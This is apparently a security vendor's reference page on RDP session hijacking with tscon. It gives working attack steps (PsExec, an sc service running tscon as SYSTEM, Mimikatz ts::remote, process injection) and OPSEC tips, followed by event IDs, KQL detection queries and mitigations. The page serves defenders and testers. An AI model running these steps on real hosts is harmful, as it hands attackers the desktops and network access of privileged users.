1. Resources
  2. Identity Threats
  3. Active Directory

RDP Session Hijacking (tscon)

Also known as: tscon hijacking, RDP hijacking, Remote Desktop session hijacking, Session takeover with tscon, Passwordless session switch

An attacker with SYSTEM on a Windows host connects another user's active or disconnected Remote Desktop session to their own with tscon, without the user's password, and works as that user.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
Local administrator on the host that holds the victim's session, used to run code as SYSTEM. No credentials of the victim are needed.
What the attacker gains
The victim's live desktop with everything open in it, and the victim's identity for network access from that host. No password, hash or ticket is extracted.
Threat groups
AxiomNIMBUS MANTICOREAgriusAkiraAPT1APT19APT3APT32APT37APT38APT39APT41APT5Aquatic Pandaand 50 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1563.002, T1021.001, T1055, T1033.

How it works

Remote Desktop Services keeps every interactive logon in a session with a numeric ID. A session survives a network disconnect: when the user closes the Remote Desktop window without signing out, the session changes state to disconnected and its processes keep running. The user can later reconnect to the same desktop.

tscon.exe is the Windows command that connects a session to a different connection. Its documented use is switching your own session between terminals. Used on someone else's session, it asks for that user's password, with one exception: when tscon runs as SYSTEM, the session is connected with no password and no prompt to the user.

So an attacker who is local administrator on a host does the following: lists the sessions, starts a process as SYSTEM, and runs tscon <victim session ID> /dest:<own session name>. The victim's desktop appears in the attacker's Remote Desktop window, unlocked and exactly as it was: open consoles, mapped drives, browser sessions, password manager. The attacker's own session is disconnected in exchange. It works for active and for disconnected sessions.

Nothing is cracked, dumped or forged. The attacker never learns the victim's password and does not touch LSASS, so tooling that watches for credential dumping sees nothing. From the hijacked desktop the attacker acts as the victim on the host and, depending on how the victim signed in, on the network.

A related variant leaves the desktop alone. Instead of taking over the session, the attacker runs code inside it: with SYSTEM they inject into a process that belongs to the victim's session, or start a process with a copy of the victim's token. The injected code runs as the victim and can reach network resources with the credentials held in that logon session. ATT&CK tracks this as Process Injection (T1055). It is quieter for the victim, who keeps their screen, and noisier for endpoint sensors.

The session listing itself is discovery (T1033): any administrator can see who is signed in to a host, in which state and how long they have been idle.

Prerequisites

  • Local administrator rights on the host that holds the target session, or any other way to run code as SYSTEM there.
  • A session of a more valuable user on that host, active or disconnected. Typical places: jump servers, Remote Desktop Session Hosts, application servers that administrators manage over RDP, and workstations that support staff connect to.
  • An interactive session of the attacker's own on the same host to receive the desktop (a console or RDP session).
  • For onward network access as the victim: a logon session that holds reusable credentials. A session opened in Restricted Admin mode does not.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. List the sessions

query user
query user /server:SRV01

The output gives the user name, session name, session ID, state (Active or Disc), idle time and logon time for each session. Note the ID of the target session and the name of your own, for example rdp-tcp#1 or console.

2. Become SYSTEM

Any method works. With Sysinternals PsExec:

psexec -s cmd

3. Connect the victim's session to yours

From the SYSTEM prompt:

tscon 2 /dest:rdp-tcp#1

2 is the session to take, and /dest: names the attacker's current session, which is disconnected when the connection is made. The Remote Desktop window now shows the victim's desktop.

Without PsExec, a temporary service runs the same command as SYSTEM:

sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1"
sc start sesshijack
sc delete sesshijack

Mimikatz calls the underlying API directly. ts::remote connects session /id to the current session, or to another one given with /target:

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # ts::sessions
mimikatz # ts::remote /id:2

If the victim's password is known, SYSTEM is not needed: tscon 2 /password:<password> or ts::remote /id:2 /password:<password>.

4. Work as the victim, then hand the session back

Use what is open on the desktop. When finished, disconnect instead of signing out, so the session returns to the disconnected state the victim expects to find.

Variant: run code in the session without taking the desktop

List the processes that belong to the target session and their owners:

tasklist /v /fi "SESSION eq 2"

From SYSTEM, inject into one of them (for example explorer.exe or rdpclip.exe) with the injection feature of the command and control framework in use. The implant runs as the victim inside the victim's logon session while the victim keeps working.

Impact

The attacker becomes whoever was signed in. On a jump server or session host that is often an administrator of a higher tier than the host itself: a Domain Admin who connected to a member server makes that server's local administrators equivalent to Domain Admins for as long as the session exists. This is lateral movement and privilege escalation with a built-in Windows command.

The hijacked desktop also exposes what credentials alone would not: authenticated browser sessions to cloud consoles, unlocked password managers, open management tools and files. MFA does not help, because the session was authenticated before the attacker arrived.

OPSEC and artifacts

  • Disconnected sessions first. Taking an active session throws the victim off their screen, which they notice and often report as "my RDP dropped". A disconnected session has no viewer. Either way the host records the reassignment.
  • No logon event. There is no new event 4624 for the victim. The Security log has event 4779 (session disconnected) for the attacker's own session and event 4778 (session reconnected) for the victim's session, with the attacker's client name and address in the 4778 record. Both need Audit Other Logon/Logoff Events.
  • Session manager events. The Microsoft-Windows-TerminalServices-LocalSessionManager/Operational log does not depend on audit policy. It records event 25 (session reconnection succeeded) for the victim's user with the attacker's source address, event 24 (session disconnected), and event 39, "Session X has been disconnected by session Y", which names both sessions.
  • The tscon process. tscon.exe started by SYSTEM, or with /dest: on its command line, is event 4688 with command line auditing, or Sysmon event 1. Mimikatz avoids the process by calling the API, but then Mimikatz itself has to run.
  • The way to SYSTEM. PsExec installs the PSEXESVC service, and the sc create method installs a service whose command line contains tscon: event 7045 in the System log and event 4697 in the Security log. Deleting the service afterwards does not remove those events.
  • Injection variant. No session events at all. Sysmon event 10 (process access) and event 8 (remote thread) show a SYSTEM process reaching into a process of another session, where those events are collected.
  • What the victim did not do. Actions taken on the hijacked desktop are logged everywhere as the victim's own. Only the session records on the host tie them to another client.

Detection

  • tscon outside its normal use. Administrators rarely run tscon at all, and almost never as SYSTEM.
SecurityEvent
| where EventID == 4688 and NewProcessName endswith @"\tscon.exe"
| where SubjectUserSid == "S-1-5-18" or CommandLine has_any ("/dest:", "/password:")
| project TimeGenerated, Computer, SubjectUserName, ParentProcessName, CommandLine
  • Services that launch tscon. A 7045 or 4697 whose image path contains tscon. On domain controllers the service installation rules cover new services in general.
  • A reconnect from the wrong client. Event 4778 or LocalSessionManager event 25 where the session's user is reconnected from a client name or address that this user has not used, especially the address of another session on the same host, and with no 4624 of type 10 for that user just before it.
  • Session disconnected by another session. LocalSessionManager event 39 on a server where users do not normally take over each other's sessions:
Event
| where EventLog == "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
| where EventID in (24, 25, 39)
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated asc
  • Cross-session process access. Sysmon events 8 and 10 where the source runs as SYSTEM in one session and the target belongs to an interactive user in another, excluding the endpoint security agent.

A user who reconnects from a different device, Fast User Switching and Hyper-V enhanced session mode also produce 4778 and 4779. Confirm the client fields and the preceding logon before calling a reconnect a hijack.

Mitigation

  • Keep privileged sessions off lower-tier hosts. The attack needs an administrator's session on a machine the attacker controls. Administer each tier only from hosts of that tier, and deny domain and server administrators logon through Remote Desktop Services on workstations and ordinary servers. The Active Directory hardening guide describes the tier model, and privileged access management the controls around it.
  • End disconnected sessions. Set "Set time limit for disconnected sessions" (Computer Configuration, Administrative Templates, Windows Components, Remote Desktop Services, Remote Desktop Session Host, Session Time Limits) to a short value on servers, and teach administrators to sign out instead of closing the window.
  • Reduce local administrators. Every local administrator of a host can take every session on it. Review who has that right on jump servers and session hosts, and who is allowed to log on through Remote Desktop Services.
  • Limit what a taken session is worth. Connect with Restricted Admin mode or Remote Credential Guard where the scenario allows it, so that the session on the remote host does not hold reusable credentials for onward access. These modes protect credentials; they do not stop someone with SYSTEM from viewing the desktop.
  • Collect the session logs. Enable Audit Other Logon/Logoff Events and process creation with command lines, and forward the LocalSessionManager and RemoteConnectionManager operational logs from jump servers and session hosts. The audit policy guide covers the Security log settings.

Detection rules for this attack

Log events to collect

FAQ

Does RDP session hijacking need the victim's password?

Not when tscon runs as SYSTEM. The tscon reference says a password is required when the connecting user does not own the target session, but a process running as SYSTEM is not asked for one. That is why the attack starts from local administrator rights, which are enough to start a process as SYSTEM.

Can a disconnected or locked session be hijacked?

Yes. A disconnected session keeps its processes and its user state on the host until it is logged off. Connecting it with tscon as SYSTEM hands the attacker the desktop as the user left it. A user who closes the Remote Desktop window instead of signing out leaves exactly such a session behind.

Why is there no logon event for the hijack?

Because nobody logged on. The victim's logon session already exists; tscon only attaches it to a different connection. The host records a session disconnect and reconnect (events 4779 and 4778, and the LocalSessionManager events), not a new 4624 for the victim. The absence of a logon is expected and does not clear the session.

How do you prevent RDP session hijacking?

Keep attackers from getting SYSTEM on hosts where privileged users have sessions, and keep those sessions from lingering. Administer only from dedicated workstations and jump hosts of the same tier, sign out instead of disconnecting, and set a short time limit after which disconnected sessions are ended.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.